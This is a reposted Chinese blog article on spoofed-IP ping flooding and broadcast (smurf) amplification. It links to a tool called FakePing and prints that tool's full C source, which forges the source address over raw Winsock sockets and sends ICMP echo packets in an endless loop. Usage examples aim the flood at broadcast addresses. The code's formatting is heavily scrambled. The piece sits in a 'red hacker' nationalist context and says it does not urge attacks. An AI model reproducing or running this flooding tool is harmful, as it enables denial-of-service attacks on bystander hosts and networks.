伪装IP地址的洪水Ping攻击

伪装IP地址的洪水Ping攻击
最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。

  我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如 win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈)

  正常情况下,Ping的流程是这样的:

  主机A发送ICMP 8,0报文给主机B

  主机B回送ICMp 0,0报文给主机A

  因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去

  回应主机C,结构如下:

   伪装为主机C 错误的回复
主机A———————>主机B——————>主机C

  这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。

上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量 unix主机的局域网内测试。

  说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量)
 

  伪装为主机C 所有广播主机都会错误的回复
主机A———————>广播地址=========================>主机C

  我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。

  使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。

源码公布如下:

typedef struct _iphdr //定义IP首部 

  unsigned char h_verlen
//4位首部长度,4位IP版本号 
  unsigned char tos
//8位服务类型TOS 
  unsigned short total_len
//16位总长度(字节) 
  unsigned short ident
//16位标识 
  unsigned short frag_and_flags
//3位标志位 
  unsigned char ttl
//8位生存时间 TTL 
  unsigned char proto
//8位协议 (TCP, UDP 或其他) 
  unsigned short checksum
//16位IP首部校验和 
  unsigned int sourceIP
//32位源IP地址 
  unsigned int destIP
//32位目的IP地址 
}IP_HEADER

// 定义ICMP首部 
typedef struct _ihdr 

  BYTE i_type
//8位类型 
  BYTE i_code
//8位代码 
  USHORT i_cksum
//16位校验和 
  USHORT i_id
//识别号(一般用进程号作为识别号) 
  USHORT i_seq
//报文序列号 
  ULONG timestamp
//时间戳 
}ICMP_HEADER

//CheckSum:计算校验和的子函数 
USHORT checksum(USHORT *bufferint size


  unsigned long cksum=0

  while(size >1

   

     cksum+=*buffer
++; 
     size -=sizeof(USHORT
); 
   

  if(size 

   

     cksum += *(UCHAR*)buffer

   

  cksum = (cksum >> 16) + (cksum 0xffff
); 
  cksum += (cksum >>16
); 
  return (USHORT)(~cksum
); 

//FakePing主函数 
int main(int argcchar **argv


  int datasize,ErrorCode,counter,flag

  int TimeOut=2000SendSEQ=0PacketSize=32

  char SendBuf[65535]={0
}; 
  WSADATA wsaData

  SOCKET SockRaw=(SOCKET)NULL

  struct sockaddr_in DestAddr

  IP_

HEADER ip_header
  ICMP_HEADER icmp_header

  char FakeSourceIp[20],DestIp[20
]; 

//接受命令行参数 
  if (argc<3

   

     printf(
"FakePing by Shotgun 
"
); 
     printf(
" This program can do Ping-Flooding from a FakeIP 
"
); 
     printf(
" Using a BroadCast IP as the FakeIP will enhance the effect 
"
); 
     printf(
"Email: 
"
); 
     printf(
" Shotgun@Xici.Net 
"
); 
     printf(
"HomePage: 
"
); 
     printf(
" http://It.Xici.Net 
"
); 
     printf(
" http://www.Patching.Net 
"
); 
     printf(
"USAGE: 
FakePing.exe FakeSourceIp DestinationIp [PacketSize] 
"
); 
     printf(
"Example: 
"
); 
     printf(
" FakePing.exe 192.168.15.23 192.168.15.255 
"
); 
     printf(
" FakePing.exe 192.168.15.23 192.168.15.200 6400 
"
); 
     exit(0
); 
   

  strcpy(FakeSourceIp,argv[1
]); 
  strcpy(DestIp,argv[2
]); 
  if (argc>3PacketSize=atoi(argv[3
]); 
  if (PacketSize>60000

   

     printf(
"Error! Packet size too big, must <60K 
"
); 
     exit(0
); 
   

  printf(
"Now Fake %s Ping %s using Packet size=%d bytes 
"

  FakeSourceIpDestIpPacketSize
); 
  printf(
" Ctrl+C to Quit 
"
); 
//初始化SOCK_RAW 
  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0

   

     fprintf(stderr,
"WSAStartup failed: %d 
"
,ErrorCode
); 
     ExitProcess(STATUS_FAILED
); 
   }&
n

bsp

  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET
   

     fprintf(stderr,
"WSASocket() failed: %d 
"
,WSAGetLastError
()); 
     ExitProcess(STATUS_FAILED
); 
   

  flag=TRUE

//设置IP_HDRINCL以自己填充IP首部 
  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof
(int)); 
  if(ErrorCode==SOCKET_ERROR

   printf(
"Set IP_HDRINCL Error! 
"
); 
  __try 

//设置发送超时 
  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut
)); 
  if (ErrorCode==SOCKET_ERROR

   

     fprintf(stderr,
"Failed to set send TimeOut: %d 
"
,WSAGetLastError
()); 
     __leave

   

  memset(&DestAddr,0,sizeof(DestAddr
)); 
  DestAddr.sin_family=AF_INET

  DestAddr.sin_addr.s_addr=inet_addr(DestIp
); 

//填充IP首部 
  ip_header.h_verlen=(4<<sizeof(ip_header)/sizeof(unsigned long)); 
//高四位IP版本号,低四位首部长度 
  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); 
//16位总长度(字节) 
  ip_header.ident=1

//16位标识 
  ip_header.frag_and_flags=0

//3位标志位 
  ip_header.ttl=128

//8位生存时间 TTL 
  ip_header.proto=IPPROTO_ICMP

//8位协议 (TCP, UDP 或其他) 
  ip_header.checksum=0

//16位IP首部校验和 
  ip_header.sourceIP=inet_addr(FakeSourceIp); 
//32 

位源IP地址 
  ip_header
.destIP=inet_addr(DestIp
); 

//32位目的IP地址 
//填充ICMP首部 
  icmp_header.i_type 8

  icmp_header.i_code 0

  icmp_he

ader.i_cksum 0
  icmp_header.i_id 2

  icmp_header.timestamp 999

  icmp_header.i_seq=999

  memcpy(SendBuf, &icmp_headersizeof(icmp_header
)); 
  memset(SendBuf+sizeof(icmp_header), ‘E’PacketSize
); 
  icmp_header.i_cksum checksum((USHORT *)SendBufsizeof(icmp_header)+PacketSize
); 
  memcpy(SendBuf,&ip_header,sizeof(ip_header
)); 
  memcpy(SendBuf+sizeof(ip_header), &icmp_headersizeof(icmp_header
)); 
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), ‘E’PacketSize
); 
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize01
); 
//计算发送缓冲区的大小 
  datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize

  ip_header.checksum=checksum((USHORT *)SendBuf,datasize
); 

//填充发送缓冲区 
  memcpy(SendBuf,&ip_headersizeof(ip_header
)); 
  while(1

   

    Sleep(100
); 
    printf("."
); 
    for(counter=0;counter<1024;counter
++) 
    

//发送ICMP报文 
     ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr
)); 
     if (ErrorCode==SOCKET_ERRORprintf(

Send Error:%d 
"
,GetLastError
()); 
    

   

}
//End of try 

 __finally 
  

   if (SockRaw != INVALID_SOCKETclosesocket(SockRaw
); 
   WSACleanup
(); 
  

 return 0


  撰写本文的目的不是号召大家用FakePing工具去攻击美国站点,只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮,FakePing也只能算得上是火枪而已,而美国已经研制出了航空母舰(一个操作系统的复杂度完全可以和航母媲美),难道用大刀、长枪、火枪去对抗航母?这样是很感人,也很悲壮,但是没有别的方法了?我们不能回去研制自己的战列舰?要是这次什么红客大战中二炮的专家们也出来参加Ping, 要是西昌的技术人员也去参加黑主页运动,我们不亡国才怪!
=========================
文章类型:转载

留下评论

邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据